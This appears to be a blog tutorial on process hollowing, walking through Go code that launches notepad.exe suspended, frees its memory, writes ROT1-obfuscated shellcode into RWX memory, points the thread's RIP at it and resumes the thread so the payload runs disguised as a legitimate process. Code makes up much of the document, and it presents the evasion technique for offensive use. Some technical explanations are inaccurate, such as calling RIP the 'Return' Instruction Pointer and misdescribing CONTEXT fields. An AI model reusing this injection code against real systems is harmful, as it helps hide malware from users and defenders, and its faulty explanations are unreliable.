Process Hollowing: The skinwalker process

What is Process Hollowing?

Process hollowing is a code injection technique used to conceal its presence on a system. The goal is to spawn a legitimate process (e.g., notepad.exe) in a suspended state, removes its legitimate code from memory, and replaces it with malicious code, while redirecting the program execution flow to our shellcode. The process is then resumed, giving the appearance of the target process, but fully loaded with our payload, like a skinwalker.

How Process Hollowing Works

Let’s break down the process hollowing methodology step by step.

  1. Understanding RIP (Return Instruction Pointer)

In the context of process hollowing, one of the key aspects to understand is the RIP register, which plays a critical role in controlling the flow of execution in a program. The RIP stands for Return Instruction Pointer, and it stores the address of the next instruction that the CPU will execute. In modern 64-bit processors, the RIP register is essential in controlling the flow of execution within a thread.

When performing process hollowing, we essentially takes control over the execution flow of a legitimate process and redirects it to their malicious code. This redirection is achieved by manipulating the RIP register.

The CONTEXT structure is used to represent the state of a thread’s registers, including all of its general-purpose registers, control registers, and flags. This structure is used by various Windows system functions to save, modify, or retrieve the state of a thread during tasks like context switching, debugging, and manipulating thread execution.

Here is the full CONTEXT struct with an explanation of the fields, focusing on the RIP and related fields:

// define the CONTEXT struct for manipulate RIP register
type Context struct {
    P1Home              uint64  // Address to store first floating point state (unused in most cases)
    P2Home              uint64  // Address to store second floating point state (unused in most cases)
    P3Home              uint64  // Address to store third floating point state (unused in most cases)
    P4Home              uint64  // Address to store fourth floating point state (unused in most cases)
    P5Home              uint64  // Address to store fifth floating point state (unused in most cases)
    P6Home              uint64  // Address to store sixth floating point state (unused in most cases)
    ContextFlags        uint32  // Flags to specify which parts of the context should be updated or retrieved (used when calling NtGetContextThread)
    MxCsr               uint32  // MXCSR register (used for SIMD floating point operations)
    // Segment registers
    SegCs, SegDs, SegEs, SegFs, SegGs, SegSs uint16  // These are segment registers used in memory addressing in x86 architecture
    EFlags              uint32  // Flags register (contains the processor flags that control the execution of the program)
    // Debug registers (used for hardware breakpoints)
    Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 uint64  // Debug registers, used for setting breakpoints or watchpoints
    // General-purpose registers
    Rax, Rcx, Rdx, Rbx  uint64  // These are general-purpose registers used for computation or passing arguments
    Rsp, Rbp, Rsi, Rdi  uint64  // Stack pointer, base pointer, and source/destination index registers
    // Extended registers (these registers are part of the extended x64 architecture)
    R8, R9, R10, R11    uint64  // Additional general-purpose registers in the extended x64 architecture
    R12, R13, R14, R15  uint64  // Additional general-purpose registers in the extended x64 architecture
    Rip                 uint64  // Return Instruction Pointer - points to the address of the next instruction to execute
    DebugControl        uint64  // Debug control flags (used for controlling debugging behavior)
    // Last branch-related information (used for tracing program control flow)
    LastBranchToRip     uint64  // The RIP of the instruction before the last branch
    LastBranchFromRip   uint64  // The RIP of the instruction after the last branch
    // Exception-related information
    LastExceptionToRip  uint64  // The RIP of the instruction before the last exception
    LastExceptionFromRip uint64  // The RIP of the instruction after the last exception
}

1.1 RIP (Return Instruction Pointer):

  • This is the most important field for controlling the execution flow of the process. The Rip register holds the address of the next instruction to execute. In a typical, unmodified process, it points to the address of the next instruction in the program counter.

  • When performing process hollowing, we can manipulate this register to redirect the execution of the thread to malicious code (shellcode) injected into the process. This is accomplished by altering the value of the Rip register to point to the start of the injected shellcode.

1.2 ContextFlags:

  • This field is used to specify which parts of the thread context should be updated. For example, if CONTEXT_CONTROL is set, it indicates that the processor's control registers (including the Rip register) should be included in the context. This allows us to manipulate the Rip register specifically.

1.3 LastBranchToRip and LastBranchFromRip:

  • These fields store the Rip values related to control flow changes such as branches. The LastBranchToRip field contains the address of the instruction that was about to be executed before a branch occurred, while LastBranchFromRip contains the address after the branch. These can be helpful in tracing the execution flow or debugging.

1.4 LastExceptionToRip and LastExceptionFromRip:

  • These fields are used to store the addresses of instructions before and after exceptions, which is relevant for debugging and exception handling. In process hollowing, exception handling might not be involved directly, but these fields are part of the broader context structure.

2. How RIP Manipulation Works in Process Hollowing

2.1 Suspending the Target Process:

  • The first step in process hollowing is to suspend the target process, typically using the CreateProcess function with the CREATE_SUSPENDED flag. This allows us to safely manipulate the process state without it executing instructions in the meantime.

2.2 Injecting Shellcode:

  • We need to allocates memory in the target process using VirtualAllocEx and injects the shellcode into the allocated space. The shellcode is typically obfuscated to avoid detection, often through simple encryption techniques like ROT1 (shifting ASCII values by 1).

2.3 Manipulating RIP:

  • After the shellcode is injected, We can retrieve the thread context using functions like NtGetContextThread, which provides the state of all the registers, including the Rip. We then modifies the Rip register to point to the address of the injected shellcode.

  • The thread context is updated by setting the Rip register in the Context structure to the address where the shellcode resides. This is done using the NtSetContextThread function.

2.4 Resuming the Target Process:

  • Finally, once the Rip is modified, the thread is resumed using ResumeThread. When the process is resumed, the CPU will begin execution at the address specified in the Rip register, which is now the location of the injected shellcode, effectively hijacking the process and running our’s code.

  1. Launching a Legitimate Process

Our code first launches a legitimate process in a suspended state using the Windows API CreateProcess. This ensures the process exists but is not yet actively executing.

// suspended process creation structure definition
var startupInfo windows.StartupInfo
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
var processInfo windows.ProcessInformation
	
err := windows.CreateProcess(
    syscall.StringToUTF16Ptr(legitProcess),
    nil,
    nil,
    nil,
    false,
    windows.CREATE_SUSPENDED,
    nil,
    nil,
    &startupInfo,
    &processInfo,
    )
  1. Clearing the Process Memory

The code traverses the memory regions of the process and releases all committed memory pages using the VirtualFreeEx API. This effectively "hollows out" the process, making room for malicious code.

func freeProcessMemory(processHandle windows.Handle) {
	var mbi windows.MemoryBasicInformation
	address := uintptr(0)
	
	fmt.Println("empty process memory...")
	
	for {
		// query the process handle
		ret := windows.VirtualQueryEx(processHandle, address, &mbi, unsafe.Sizeof(mbi))
		if ret == nil {
			break
		}
	
		// check if memory is commited
		if mbi.State == MEM_COMMIT {
			// Free the memory
			kernel32 := windows.NewLazySystemDLL("kernel32.dll")
			virtualFreeEx := kernel32.NewProc("VirtualFreeEx")
			_, _, _ = virtualFreeEx.Call(uintptr(processHandle), uintptr(mbi.BaseAddress), 0, MEM_RELEASE)
			fmt.Printf("Mémoire libérée à l'adresse : 0x%x\n", mbi.BaseAddress)
		}
	
		// iterate through regions
		address += mbi.RegionSize
	}
		fmt.Println("memory cleaned")
}
  1. Injecting Malicious Code

Our code decrypts its shellcode (often stored in an obfuscated format such as ROT1, as seen here) and allocates memory in the target process for the shellcode. The payload is then written into the process's memory using WriteProcessMemory.

addr, _, _ := virtualAllocEx.Call(
	uintptr(processHandle), // Allocate memory in the hollowed process mem
	0,
	uintptr(len(shellcode)),
	MEM_COMMIT|MEM_RESERVE,
	PAGE_EXECUTE_READWRITE,
)
  1. Hijacking the Thread Context

By modifying the thread's execution context, specifically setting the instruction pointer (RIP) to the address of the injected shellcode, our code ensures the malicious code will execute when the process resumes.

ctx.Rip = uint64(addr) // Redirect execution to our shellcode
_, _, _ = setThreadContext.Call(uintptr(threadHandle), uintptr(unsafe.Pointer(&ctx)))
  1. Resuming the Process

Finally, the process is resumed, appearing as a legitimate application (e.g., notepad.exe) but executing malicious operations instead of his habitual code.

resumeThread := kernel32.NewProc("ResumeThread")
_, _, _ = resumeThread.Call(uintptr(threadHandle))

8. Result

As a result of all of these operations, we have finally achieved our goal: start a notepad.exe program, empty his memory then inject our shellcode into it then and redirect the execution flow of the process without creating a new thread. We succed to create a real skinwalker process !

as always, the full code is available here

Last updated